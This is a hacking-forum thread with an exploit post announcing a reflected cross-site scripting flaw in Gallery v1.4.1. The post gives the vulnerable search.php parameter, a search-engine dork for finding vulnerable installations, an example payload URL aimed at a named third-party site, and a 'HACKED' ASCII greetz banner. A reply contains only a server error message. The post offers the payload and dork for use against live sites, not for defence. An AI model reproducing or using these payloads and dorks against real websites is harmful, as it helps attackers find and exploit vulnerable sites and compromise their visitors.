iExploit

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Sign In Apply for Membership

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
Looking to introduce yourself? Look no further, and click here! We also have IRC! [irc.evilzone.org #iexploit]
Gallery v1.4.1 == Cross Site Scripting
  • linc0ln.dll
    Posts: 19 
    ----------------------------------------------------------------------------
    Exploit Title : Gallery v1.4.1 == Cross Site Scripting
    ----------------------------------------------------------------------------

    Author      : linc0ln.dll
    Date        : 23/06/11
    Site        : http://linc0ln.pl/
    @           : linc0ln[at]e-o-u.org
    ----------------------------------------------------------------------------

    Description >

    Category    : WebApps
    Dork        : \"Powered by Gallery v1.4.1\"
    Vendor      : http://gallery.menalto.com/
    Tested On   : Windows 7
    ----------------------------------------------------------------------------

    XSS         >

    >> http://127.0.0.1/[path]/search.php?searchstring={XSS}
    ----------------------------------------------------------------------------

    Example     >

    >> http://ftrgallery.us/search.php?searchstring=\"+onmouseover=alert(/xss/)+
    ----------------------------------------------------------------------------

    \ \  / /                 /\
    -HACKED-  \\{__}//      /((\
    / /  \ \   \|aa|/        ) )
    _____vvvV__(oo)__Vvvv__(_(_
    |            ``             |
    |      .::Greetz To::.      |
    | [synthelyps.c]  [fight3r] |
    | [Mario_Vs]      [n1k0n3r] |
    | [e-o-u.org]  [Skynet Crew]|
    | And All The Other Friends |
    |___________________________|
                 ';;;;;(  )`
                   \ \/ \ \//
                  _/_/ _/ /
                 vvvV^ Vvvv
  • Ƭє¢ɦɨɇ
    Posts: 3
    The server encountered an unexpected condition which prevented it from fulfilling the request.
    The script had an error or it did not produce any output. If there was an error, you should be able to see it in the error log.
Add a Comment